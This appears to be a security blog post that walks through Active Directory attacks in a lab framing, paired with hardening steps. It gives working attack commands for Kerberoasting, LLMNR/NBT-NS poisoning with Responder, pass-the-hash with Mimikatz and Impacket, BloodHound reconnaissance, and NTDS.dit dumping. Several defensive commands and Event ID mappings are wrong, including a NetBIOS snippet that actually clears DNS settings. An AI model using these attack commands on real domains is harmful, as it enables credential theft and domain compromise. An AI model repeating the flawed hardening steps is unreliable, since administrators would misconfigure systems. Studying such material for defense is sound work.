Listen to this Post
Introduction:
Active Directory (AD) remains the central authentication and authorization hub for over 90% of Fortune 500 companies, making it the crown jewel for attackers seeking domain dominance. From Kerberoasting to NTDS.dit extraction, adversaries exploit misconfigurations and legitimate protocols to move laterally, escalate privileges, and compromise entire forests—often without triggering alarms.
Learning Objectives:
- Identify and simulate ten common Active Directory attack techniques using open-source tools (Impacket, Mimikatz, BloodHound, Responder).
- Implement defensive countermeasures including disabling LLMNR, enforcing Kerberos armor, monitoring Event IDs, and hardening NTDS.dit access.
- Apply step-by-step Linux and Windows commands to both attack and harden AD environments in lab settings.
1. Kerberoasting – Cracking Service Account Tickets Offline
Kerberoasting abuses Kerberos service tickets (TGS) for accounts with Service Principal Names (SPNs). Attackers request a ticket for any SPN, export it, and crack the service account password offline—often revealing high-privileged credentials.
Step‑by‑step guide (Attack – Linux & Windows)
On Linux (Impacket):
GetUserSPNs to request TGS for all SPNs python3 GetUserSPNs.py -request -dc-ip 192.168.1.10 domain.local/john:Password123 -outputfile kerb_tickets.txt Crack with hashcat (mode 13100 for Kerberos TGS) hashcat -m 13100 -a 0 kerb_tickets.txt rockyou.txt
On Windows (PowerShell + Rubeus):
Request all SPN tickets using native PowerShell Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/srv01.domain.local" Extract tickets with Mimikatz mimikatz.exe "kerberos::list /export" "exit" Or use Rubeus to request and crack Rubeus.exe kerberoast /outfile:hashes.kerberoast
Defensive commands (Windows – Detect & Harden)
Detect accounts with weak SPNs (no AES encryption)
Get-ADUser -Filter {ServicePrincipalName -like ""} -Properties ServicePrincipalName,msDS-SupportedEncryptionTypes | Where-Object {$_.'msDS-SupportedEncryptionTypes' -ne 24}
Enforce AES for service accounts via Group Policy
Set-DomainObject -Identity svc_sql -Set @{'msDS-SupportedEncryptionTypes'=24}
Mitigation: Use group Managed Service Accounts (gMSA), enforce 128/256-bit AES encryption, rotate service account passwords regularly (≥30 characters).
- LLMNR / NBT‑NS Poisoning – Credential Capture via Name Resolution
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS allow hosts to resolve names when DNS fails. Attackers spoof responses to capture NTLM hashes, which can be relayed or cracked.
Step‑by‑step guide (Attack – Responder on Linux)
Start Responder to listen on all interfaces sudo responder -I eth0 -dwPv Captured hashes appear in /usr/share/responder/logs/ Crack NTLMv2 hash with hashcat (mode 5600) hashcat -m 5600 captured_hash.txt rockyou.txt
Windows alternative (Inveigh.ps1):
Import-Module .\Inveigh.ps1 Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y
Defensive hardening (Disable via GPO & Registry)
Disable LLMNR via Group Policy:
Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution → Enabled
Disable NetBIOS via PowerShell:
Disable NetBIOS on all adapters
Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$<em>.IPEnabled -eq $true} | ForEach-Object {$</em>.SetDNSServerSearchOrder(@()) ; $_.SetDynamicDNSRegistration($false)}
Then set registry key
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" -Name "NetbiosOptions" -Value 2 -Type DWord
Detection: Monitor Event ID 4698 (scheduled task creation) and 5145 (network share access) for anomalies; use Zeek to spot LLMNR traffic on UDP 5355.
- Pass‑the‑Hash (PtH) with Mimikatz – Authenticate Without the Password
Pass-the-Hash allows an attacker to use the NTLM hash of a user (extracted from LSASS memory or SAM) to authenticate to remote systems without ever knowing the plaintext password.
Step‑by‑step guide (Attack – Windows)
Dump hashes from LSASS (requires admin) mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" Pass the hash to authenticate to a remote SMB share mimikatz.exe "privilege::debug" "sekurlsa::pth /user:admin /domain:domain.local /ntlm:881ad2c5f6d5c4e3b2a1c3d4e5f6a7b8" In new cmd window, access remote system dir \TARGET-PC\C$
Linux alternative with Impacket:
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:881ad2c5f6d5c4e3b2a1c3d4e5f6a7b8 domain.local/[email protected]
Defensive commands (Restrict & Monitor)
Enable Restricted Admin mode (Windows 8.1+/Server 2012R2+):
Set registry to force Restricted Admin for RDP Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -Type DWord Disable NTLM entirely where possible Security Policy → Network security: Restrict NTLM → Deny all
Detection: Monitor Event ID 4624 (logon) with Logon Type 3 (network) and Authentication Package “NTLM”. Use Sysmon Event ID 10 (ProcessAccess) to detect LSASS access by Mimikatz.
- BloodHound Recon – Mapping Attack Paths to Domain Admin
BloodHound uses graph theory to reveal hidden relationships between users, groups, computers, and ACLs. Attackers identify shortest paths to high-value targets like Domain Admins.
Step‑by‑step guide (Attack & Defense)
Collect data (Windows – SharpHound):
Download and run SharpHound SharpHound.exe -c All -d domain.local --outputdirectory C:\temp\
Collect data (Linux – BloodHound.py):
Requires domain user credentials bloodhound-python -u juser -p 'Password123' -ns 192.168.1.10 -d domain.local -c all
Import .json files into Neo4j + BloodHound GUI, then run queries:
// Find shortest paths to Domain Admins
MATCH p = shortestPath((u:User)-[:MemberOf|AdminTo|CanRDP|ExecuteDCOM|AllowedToDelegate1..15]->(g:Group {name: "DOMAIN [email protected]"})) RETURN p
// List all users with SPNs (Kerberoastable)
MATCH (u:User {hasspn:true}) RETURN u.samaccountname, u.displayname
Defensive actions
Identify and remove dangerous ACL entries (e.g., GenericAll on high-value groups)
Using PowerShell ActiveDirectory module
Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local" | Select -ExpandProperty Access | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}
Implement "Tier 0" segmentation – protect Domain Controllers with AdminSDHolder
Regularly run PingCastle or PurpleKnight to detect attack paths
Hardening: Remove unnecessary admin rights, enforce ACL auditing, deploy LAPS for local admin password rotation.
- NTDS.dit Extraction – Dumping the Crown Jewel Database
The NTDS.dit file stores all domain user and computer hashes. Attackers copy it from a Domain Controller (often via volume shadow copy) and extract credentials offline.
Step‑by‑step guide (Attack – Windows on DC)
Create shadow copy of C: drive vssadmin create shadow /for=C: Copy NTDS.dit from shadow copy copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\exfil\ Also copy SYSTEM hive for decryption keys reg save HKLM\SYSTEM C:\exfil\SYSTEM
Extract hashes with secretsdump.py (Linux):
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lm:ntlm LOCAL -outputfile domain_hashes
Defensive commands (Protect NTDS.dit)
Enable Volume Shadow Copy service auditing:
Audit shadow copy creation (Event ID 98) auditpol /set /subcategory:"Volume Shadow Copy" /success:enable /failure:enable Restrict access to NTDS.dit – only SYSTEM and AD backup operators icacls "%systemroot%\NTDS\ntds.dit" /inheritance:r /grant:r "SYSTEM:(F)" "BUILTIN\Backup Operators:(R)" Deploy Microsoft Defender for Identity (formerly Azure ATP) to detect NTDS.dit access anomalies
Mitigation: Use Credential Guard (Windows 10/Server 2016+), disable NTLM where possible, and implement RODCs in branch offices.
6. Defensive Hardening Checklist & SIEM Rules
Combine the below commands and detection logic to build a resilient AD environment.
Group Policy hardening (Deploy via GPO)
Enforce Kerberos ticket lifetime (max 10 hours) Set-ADDefaultDomainPasswordPolicy -Identity domain.local -MaxServiceTicketAge "10:00:00" Disable LM & NTLMv1 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5 Enable SMB signing and encryption Set-SmbServerConfiguration -RequireSecuritySignature $true -EnableSMB2Protocol $true
Critical Event IDs to monitor in SIEM
| Attack Technique | Windows Event IDs |
|-|-|
| Kerberoasting | 4769 (TGS request, no pre‑auth), 4771 (Kerberos pre‑auth failed) |
| Pass‑the‑Hash | 4624 (Logon Type 3 with NTLM), 4648 (Logon with explicit creds) |
| LLMNR Poisoning | 4698 (Task creation), 7045 (Service install) |
| NTDS.dit access | 4663 (File access to ntds.dit), 98 (Shadow copy) |
| BloodHound recon | 5145 (Network share enumeration), 4661 (Directory service object access) |
Sample Splunk query for suspicious LDAP reconnaissance:
index=windows sourcetype=WinEventLog:Security EventCode=4661 | where Object_Type="ds-object" and Object_Name="user" | stats count by Account_Name, Client_Address, Object_Name | where count > 100
What Undercode Say:
- Attackers don’t break AD – they log into it legitimately. Pass-the-Hash and Kerberoasting abuse native protocols; the best defense is reducing the attack surface (disable NTLM, enforce AES, use gMSA).
- Detection without response is noise. Monitor Event 4769 spikes (TGS requests from non‑domain joined machines) and set automated playbooks to disable compromised accounts within minutes.
- BloodHound shows why “least privilege” fails in practice. ACLs drift over time; continuous path analysis (weekly PingCastle) and automated remediation scripts are essential.
Analysis: Most AD compromises start with a single misconfiguration – an unchanged default credential, an LLMNR responder left on, or an SPN set on a high‑privilege account. The MITRE ATT&CK framework lists over 50 AD‑specific techniques, yet many enterprises still rely on perimeter firewalls. The future lies in “identity‑centric” security: conditional access policies, real‑time risk scoring, and hardware‑backed credentials (e.g., Windows Hello for Business, YubiKeys). Defenders must shift from reactive patching to proactive “adversary emulation” – run BloodHound against your own domain monthly, simulate Kerberoasting, and verify that your SIEM triggers on every listed event ID.
Prediction:
By 2028, on‑premises Active Directory will be largely replaced by cloud‑native identity providers (Entra ID, Okta) for new deployments, but legacy AD forests will persist in hybrid models. Attackers will pivot to cross‑tenant attacks – abusing Entra Connect sync to move from cloud to on‑prem, and using “Golden SAML” techniques to forge tokens. The hardest AD attack to detect will evolve into “AI‑driven lateral movement,” where machine learning models mimic normal user behavior while progressively escalating privileges over months. Defenders will adopt zero‑trust network access (ZTNA) and just‑in‑time (JIT) privileged access, rendering classic PtH and Kerberoasting ineffective – but only for organizations that fully retire NTLM and legacy authentication.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Cybersecurity Activedirectory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
